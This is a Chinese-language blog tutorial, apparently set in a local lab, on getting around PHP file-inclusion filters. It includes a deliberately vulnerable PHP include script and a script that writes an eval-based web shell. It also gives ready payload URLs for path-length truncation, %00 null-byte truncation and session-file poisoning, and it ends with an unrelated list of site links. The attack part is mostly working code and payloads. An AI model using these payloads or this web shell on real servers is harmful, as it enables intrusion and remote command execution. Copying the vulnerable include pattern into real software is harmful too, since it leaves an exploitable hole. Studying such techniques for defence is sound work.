任意文件包含漏洞的绕过方式
时间:2022-07-24
本文章向大家介绍任意文件包含漏洞的绕过方式,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
前期准备
file.php代码
<?php
$a = $_GET['a'];
include($a.'.html');
?>
hack.php代码
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');
?>
长目录截断
原理
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
正常访问
payload
使用.
绕过
http://192.168.232.128/file.php?a=hack.php.......................................................................................................................................................................................................................................................
成功生成木马文件
蚁剑连接
使用./
绕过
http://192.168.232.128/file.php?a=hack.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
PS:当这些符号被过滤时,我们可以尝试URL编码绕过。即当“.”和“./”被过滤时,我们可以尝试使用URL编码绕过“.”–>%2E,“/”–>%2F
%00截断
原理
php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取
条件:
magic_quotes_gpc=off php<5.3.4
payload
http://192.168.232.128/file.php?a=hack.php%00
基于session机制传马
条件:
知道session的存储位置(或者通过phpinfo获取到存储位置) session的值可控 存在本地文件包含漏洞
设置session的PHP文件
<?php
session_start();
$ctfs=$_GET['s'];
$_SESSION["username"]=$ctfs;
?>
payload
http://192.168.232.128/se.php?s=<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');?>
F12通过network找到cookie中的PHPSESSID
然后通过之前的file.php文件去包含session存放的文件
http://192.168.232.128/file.php?a=../tmp/tmp/sess_8e2fe1323579620d07c94cfd568be488%00
木马生成成功
总结
可能的绕过方式
- 双写绕过
- 使用绝对路径
- 对于Windows系统可以使用反斜杠
- 编码绕过
- 使用伪协议
- 等等…
- Java中MD5加密算法实现方法——附上具体代码
- 新手,Visual Studio 2015 配置Boost库,如何编译和选择,遇到无法打开文件“libboost_thread-vc140-mt-gd-1_63.lib“的解决办法
- Java中处理正则表达式的工具类——总有一个适合你
- 【Spark研究】用Apache Spark进行大数据处理第一部分:入门介绍
- “一切都是消息”--MSF(消息服务框架)入门简介
- 【Spark研究】用Apache Spark进行大数据处理第二部分:Spark SQL
- Android基础总结(2)——活动Activity
- Java实现的IP处理工具类——可用于项目
- 使用SQLServer同义词和SQL邮件,解决发布订阅中订阅库丢失数据的问题
- 一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案
- Andriod基础——Adapter类
- ORM查询语言(OQL)简介--高级篇:脱胎换骨
- 用Java实现处理日期的工具类——常用日期处理方法
- ORM查询语言(OQL)简介--实例篇
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android数字选择器NumberPicker使用详解
- Listvie简单实现购物车功能
- RXjava网络获取图片数据的方法
- VerticalBannerView仿淘宝头条实现垂直轮播广告
- ViewFlipper实现文字轮播效果
- Android自定义ViewFlipper实现滚动效果
- ViewFlipper实现上下翻滚轮播效果
- android实现长图加载效果
- 使用Thumbnails实现图片指定大小压缩
- Flutter中如何加载并预览本地的html文件的方法
- Android在自定义类中实现自定义监听器方式
- 解决WebView通过URL加载H5界面出现空白的问题
- kotlin 定义接口并实现回调的例子
- STL 总结与常见面试题
- kotlin中EditText赋值Type mismatch方式